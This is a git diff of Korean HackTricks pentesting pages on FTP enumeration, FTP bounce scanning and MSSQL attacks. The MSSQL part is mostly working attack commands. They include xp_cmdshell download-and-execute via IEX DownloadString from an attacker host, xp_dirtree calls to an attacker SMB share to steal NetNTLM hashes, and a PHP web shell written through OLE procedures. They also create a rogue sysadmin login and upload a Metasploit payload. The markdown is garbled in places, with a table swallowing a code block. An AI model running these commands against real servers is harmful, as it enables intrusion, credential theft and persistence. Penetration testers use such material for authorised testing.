wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
|
||||
만약 사용자 이름/암호에 특수 문자가 포함되어 있다면, [다음 명령어](https://stackoverflow.com/a/113900/13647948)를 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
|
||||
## 몇 가지 FTP 명령어
|
||||
|
||||
* **`USER username`**
|
||||
|
@ -164,9 +184,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
3. **임의의 서버 및 서비스에 연결하려면 `PORT`를 사용합니다.**
|
||||
4. **저장된 요청을 서버로 보내려면 `RETR`를 사용합니다.**
|
||||
|
||||
이는 **_Socket not writable_와 같은 오류를 발생시킬 가능성이 매우 높습니다**. 이를 피하려는 제안은 다음과 같습니다:
|
||||
이는 **\_Socket not writable\_와 같은 오류를 발생시킬 가능성이 매우 높습니다**. 이를 피하려는 제안은 다음과 같습니다:
|
||||
|
||||
* HTTP 요청을 보내는 경우, **최소한 ~0.5MB까지** 동일한 요청을 반복해서 보냅니다. 다음과 같이:
|
||||
* HTTP 요청을 보내는 경우, **최소한 \~0.5MB까지** 동일한 요청을 반복해서 보냅니다. 다음과 같이:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts (1).txt" %}
|
||||
posts.txt
|
||||
|
@ -182,42 +202,45 @@ posts.txt
|
|||
**FileZilla**는 일반적으로 **로컬**에 **FileZilla-Server**용 **관리 서비스**를 **바인딩**합니다 (포트 14147). **귀하의 기기**에서 **이 포트에 액세스하는 터널**을 만들 수 있다면, **빈 암호**로 **연결**하여 FTP 서비스를 위한 **새로운 사용자**를 **생성**할 수 있습니다.
|
||||
|
||||
## 구성 파일
|
||||
|
||||
```
|
||||
ftpusers
|
||||
ftp.conf
|
||||
proftpd.conf
|
||||
vsftpd.conf
|
||||
```
|
||||
|
||||
### 사후 침투
|
||||
|
||||
vsFTPd의 기본 구성은 `/etc/vsftpd.conf`에서 찾을 수 있습니다. 여기에는 몇 가지 위험한 설정이 있을 수 있습니다:
|
||||
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - 익명 사용자를 위한 디렉토리
|
||||
- `chown_uploads=YES` - 익명으로 업로드된 파일의 소유권 변경
|
||||
- `chown_username=username` - 익명으로 업로드된 파일의 소유권을 부여받는 사용자
|
||||
- `local_enable=YES` - 로컬 사용자의 로그인 활성화
|
||||
- `no_anon_password=YES` - 익명으로부터 비밀번호를 요청하지 않음
|
||||
- `write_enable=YES` - 명령어 STOR, DELE, RNFR, RNTO, MKD, RMD, APPE 및 SITE 허용
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - 익명 사용자를 위한 디렉토리
|
||||
* `chown_uploads=YES` - 익명으로 업로드된 파일의 소유권 변경
|
||||
* `chown_username=username` - 익명으로 업로드된 파일의 소유권을 부여받는 사용자
|
||||
* `local_enable=YES` - 로컬 사용자의 로그인 활성화
|
||||
* `no_anon_password=YES` - 익명으로부터 비밀번호를 요청하지 않음
|
||||
* `write_enable=YES` - 명령어 STOR, DELE, RNFR, RNTO, MKD, RMD, APPE 및 SITE 허용
|
||||
|
||||
### Shodan
|
||||
|
||||
- `ftp`
|
||||
- `port:21`
|
||||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
@ -269,6 +292,7 @@ Description: FTP enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
# FTP Bounce attack - Scan
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# FTP Bounce - 스캐닝
|
||||
## FTP Bounce - 스캐닝
|
||||
|
||||
## 수동
|
||||
### 수동
|
||||
|
||||
1. 취약한 FTP에 연결합니다.
|
||||
2. _\<IP:Port>_를 스캔하도록 **`PORT`** 또는 **`EPRT`**(둘 중 하나만 사용)를 사용합니다:
|
||||
2. \_\<IP:Port>\_를 스캔하도록 **`PORT`** 또는 **`EPRT`**(둘 중 하나만 사용)를 사용합니다:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. **`LIST`**를 사용합니다(이는 현재 FTP 폴더에 있는 파일 목록을 연결된 _\<IP:Port>_로 보냅니다) 그리고 가능한 응답을 확인합니다: `150 File status okay` (이는 포트가 열려있음을 의미) 또는 `425 No connection established` (이는 포트가 닫혀있음을 의미)
|
||||
4. `LIST` 대신 **`RETR /file/in/ftp`**를 사용하여 유사한 `Open/Close` 응답을 찾습니다.
|
||||
`EPRT |2|172.32.80.80|8080|` 3. \*\*`LIST`\*\*를 사용합니다(이는 현재 FTP 폴더에 있는 파일 목록을 연결된 \_\<IP:Port>\_로 보냅니다) 그리고 가능한 응답을 확인합니다: `150 File status okay` (이는 포트가 열려있음을 의미) 또는 `425 No connection established` (이는 포트가 닫혀있음을 의미) 4. `LIST` 대신 \*\*`RETR /file/in/ftp`\*\*를 사용하여 유사한 `Open/Close` 응답을 찾습니다.
|
||||
|
||||
**PORT**를 사용한 예시 (172.32.80.80의 포트 8080이 열려 있고 포트 7777이 닫혀 있음):
|
||||
|
||||
![](<../../.gitbook/assets/image (225).png>)
|
||||
|
||||
**`EPRT`**를 사용한 동일한 예시(이미지에서 인증 정보는 생략됨):
|
||||
\*\*`EPRT`\*\*를 사용한 동일한 예시(이미지에서 인증 정보는 생략됨):
|
||||
|
||||
![](<../../.gitbook/assets/image (226).png>)
|
||||
|
||||
|
@ -44,19 +44,20 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
![](<../../.gitbook/assets/image (228).png>)
|
||||
|
||||
## **nmap**
|
||||
### **nmap**
|
||||
|
||||
```bash
|
||||
nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</summary>
|
||||
|
@ -66,7 +67,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)에서 **팔로우**하세요.
|
||||
* \*\*💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,12 +26,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)에서:
|
||||
|
||||
> **Microsoft SQL Server**는 Microsoft가 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로, 주요 기능은 다른 소프트웨어 응용 프로그램이 요청한 데이터를 저장하고 검색하는 것입니다. 이는 동일한 컴퓨터 또는 네트워크(인터넷 포함)의 다른 컴퓨터에서 실행될 수 있습니다.\
|
||||
> **Microsoft SQL Server**는 Microsoft가 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로, 주요 기능은 다른 소프트웨어 응용 프로그램이 요청한 데이터를 저장하고 검색하는 것입니다. 이는 동일한 컴퓨터 또는 네트워크(인터넷 포함)의 다른 컴퓨터에서 실행될 수 있습니다.\\
|
||||
|
||||
**기본 포트:** 1433
|
||||
|
||||
```
|
||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||
```
|
||||
|
||||
### **기본 MS-SQL 시스템 테이블**
|
||||
|
||||
* **master 데이터베이스**: SQL Server 인스턴스의 모든 시스템 수준 세부 정보를 캡처하는 중요한 데이터베이스입니다.
|
||||
|
@ -40,21 +42,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **Resource 데이터베이스**: SQL Server와 함께 제공되는 시스템 개체를 보유하는 읽기 전용 데이터베이스입니다. 이러한 개체는 Resource 데이터베이스에 물리적으로 저장되지만 논리적으로는 각 데이터베이스의 sys 스키마에 표시됩니다.
|
||||
* **tempdb 데이터베이스**: 일시적 개체 또는 중간 결과 집합을 위한 임시 저장 영역으로 작동합니다.
|
||||
|
||||
|
||||
## 열거
|
||||
|
||||
### 자동 열거
|
||||
|
||||
서비스에 대해 아무것도 모르는 경우:
|
||||
|
||||
```bash
|
||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
만약 **자격 증명이 없는 경우** 추측해 볼 수 있습니다. nmap이나 metasploit을 사용할 수 있습니다. 주의하세요, 기존 사용자 이름을 사용하여 여러 번 로그인에 실패하면 계정이 **차단**될 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (자격 증명 필요)
|
||||
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
|
@ -86,11 +90,13 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
|
||||
### [**브루트 포스**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### 수동 열거
|
||||
|
||||
#### 로그인
|
||||
|
||||
```bash
|
||||
# Using Impacket mssqlclient.py
|
||||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||||
|
@ -105,7 +111,9 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||
1> select 1;
|
||||
2> go
|
||||
```
|
||||
|
||||
#### 일반적인 열거
|
||||
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
|
@ -127,11 +135,13 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
|
|||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||||
```
|
||||
|
||||
#### 사용자 가져오기
|
||||
|
||||
{% content-ref url="types-of-mssql-users.md" %}
|
||||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```sql
|
||||
# Get all the users and roles
|
||||
select * from sys.database_principals;
|
||||
|
@ -151,18 +161,22 @@ order by name;
|
|||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
|
||||
#### 권한 획득
|
||||
|
||||
1. **보안 가능성:** SQL Server에서 액세스 제어를 위해 관리되는 리소스로 정의됩니다. 이러한 리소스는 다음과 같이 분류됩니다:
|
||||
- **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹, 서버 역할 등이 포함됩니다.
|
||||
- **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그, 사용자 등이 포함됩니다.
|
||||
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등이 포함됩니다.
|
||||
|
||||
* **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹, 서버 역할 등이 포함됩니다.
|
||||
* **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그, 사용자 등이 포함됩니다.
|
||||
* **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등이 포함됩니다.
|
||||
|
||||
2. **권한:** SQL Server 보안 가능성과 관련된 권한으로 ALTER, CONTROL, CREATE 등의 권한을 주체에게 부여할 수 있습니다. 권한 관리는 다음 두 수준에서 발생합니다:
|
||||
- **서버 수준**에서 로그인을 사용합니다.
|
||||
- **데이터베이스 수준**에서 사용자를 사용합니다.
|
||||
|
||||
* **서버 수준**에서 로그인을 사용합니다.
|
||||
* **데이터베이스 수준**에서 사용자를 사용합니다.
|
||||
|
||||
3. **주체:** 이 용어는 보안 가능성에 대한 권한이 부여된 엔터티를 가리킵니다. 주체는 주로 로그인 및 데이터베이스 사용자를 포함합니다. 보안 가능성에 대한 액세스 제어는 권한을 부여하거나 거부하거나 액세스 권한이 부여된 역할에 로그인 및 사용자를 포함시킴으로써 행해집니다.
|
||||
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -182,17 +196,20 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
|
|||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
```
|
||||
|
||||
## 트릭
|
||||
|
||||
### OS 명령어 실행
|
||||
|
||||
{% hint style="danger" %}
|
||||
OS 명령어를 실행하려면 **`xp_cmdshell`**이 **활성화**되어 있어야하는 것뿐만 아니라 **`xp_cmdshell` 저장 프로시저에 대한 **EXECUTE 권한**도 필요합니다. (sysadmins를 제외한) 누가 **`xp_cmdshell`**을 사용할 수 있는지 확인할 수 있습니다:
|
||||
OS 명령어를 실행하려면 \*\*`xp_cmdshell`\*\*이 **활성화**되어 있어야하는 것뿐만 아니라 \*\*`xp_cmdshell` 저장 프로시저에 대한 **EXECUTE 권한**도 필요합니다. (sysadmins를 제외한) 누가 \*\*`xp_cmdshell`\*\*을 사용할 수 있는지 확인할 수 있습니다:
|
||||
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
```bash
|
||||
# Username + Password + CMD command
|
||||
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
||||
|
@ -220,9 +237,11 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
|
||||
### NetNTLM 해시 획득 / 릴레이 공격
|
||||
|
||||
인증에 사용된 해시를 캡처하기 위해 **SMB 서버**를 시작해야 합니다 (`impacket-smbserver` 또는 `responder`를 예로 들 수 있습니다).
|
||||
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -234,8 +253,10 @@ sudo responder -I tun0
|
|||
sudo impacket-smbserver share ./ -smb2support
|
||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
시스템 관리자 이외에 누가 해당 MSSQL 함수를 실행할 수 있는지 확인할 수 있습니다:
|
||||
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -262,6 +283,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
### **파일 쓰기**
|
||||
|
||||
`MSSQL`을 사용하여 파일을 쓰려면 관리자 권한이 필요하며, [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 활성화해야 하며, 그런 다음 일부 저장 프로시저를 실행하여 파일을 생성해야 합니다:
|
||||
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -279,30 +301,38 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
|||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
|
||||
### **OPENROWSET를 사용하여 파일 읽기**
|
||||
|
||||
기본적으로 `MSSQL`은 **계정이 읽기 액세스 권한을 갖는 운영 체제의 모든 파일에서 파일을 읽을 수 있도록** 허용합니다. 다음 SQL 쿼리를 사용할 수 있습니다:
|
||||
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
|
||||
그러나 **`BULK`** 옵션을 사용하려면 **`ADMINISTER BULK OPERATIONS`** 또는 **`ADMINISTER DATABASE BULK OPERATIONS`** 권한이 필요합니다.
|
||||
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
|
||||
#### SQLi에 대한 오류 기반 벡터:
|
||||
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
|
||||
### **RCE/파일 실행 스크립트 읽기 (Python 및 R)**
|
||||
|
||||
MSSQL을 사용하면 **Python 및/또는 R에서 스크립트를 실행**할 수 있습니다. 이 코드는 **xp\_cmdshell**을 사용하여 명령을 실행하는 사용자와는 **다른 사용자**에 의해 실행됩니다.
|
||||
|
||||
예를 들어 **'R'**로 **"Hellow World!"**를 실행하려고 시도한 예제 **작동하지 않음**:
|
||||
예를 들어 \*\*'R'\*\*로 \*\*"Hellow World!"\*\*를 실행하려고 시도한 예제 **작동하지 않음**:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
여러 작업을 수행하기 위해 구성된 Python을 사용하는 예제:
|
||||
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -316,32 +346,33 @@ print(sys.version)
|
|||
'
|
||||
GO
|
||||
```
|
||||
|
||||
### 레지스트리 읽기
|
||||
|
||||
Microsoft SQL Server는 **여러 확장 저장 프로시저**를 제공하여 네트워크 뿐만 아니라 파일 시스템과 심지어 [**Windows 레지스트리**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**와 상호 작용할 수 있습니다**:
|
||||
|
||||
| **일반** | **인스턴스별** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||||
```sql
|
||||
# Example read registry
|
||||
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
||||
# Example write and then read registry
|
||||
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
||||
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
||||
# Example to check who can use these functions
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
### MSSQL 사용자 정의 함수를 사용한 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
| **일반** | **인스턴스별** |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||||
| \`\`\`sql | |
|
||||
| # Example read registry | |
|
||||
| EXECUTE master.sys.xp\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; | |
|
||||
| # Example write and then read registry | |
|
||||
| EXECUTE master.sys.xp\_instance\_regwrite 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG\_SZ', 'Now you see me!'; | |
|
||||
| EXECUTE master.sys.xp\_instance\_regread 'HKEY\_LOCAL\_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; | |
|
||||
| # Example to check who can use these functions | |
|
||||
| Use master; | |
|
||||
| EXEC sp\_helprotect 'xp\_regread'; | |
|
||||
| EXEC sp\_helprotect 'xp\_regwrite'; | |
|
||||
| \`\`\` | |
|
||||
| ### MSSQL 사용자 정의 함수를 사용한 RCE - SQLHttp | |
|
||||
|
||||
**사용자 정의 함수를 통해 MSSQL에 .NET dll을 로드**하는 것이 가능합니다. 그러나 이를 위해서는 **`dbo` 액세스가 필요**하므로 데이터베이스에 **`sa` 또는 관리자 역할**로 연결해야 합니다.
|
||||
|
||||
|
@ -351,12 +382,12 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||
|
||||
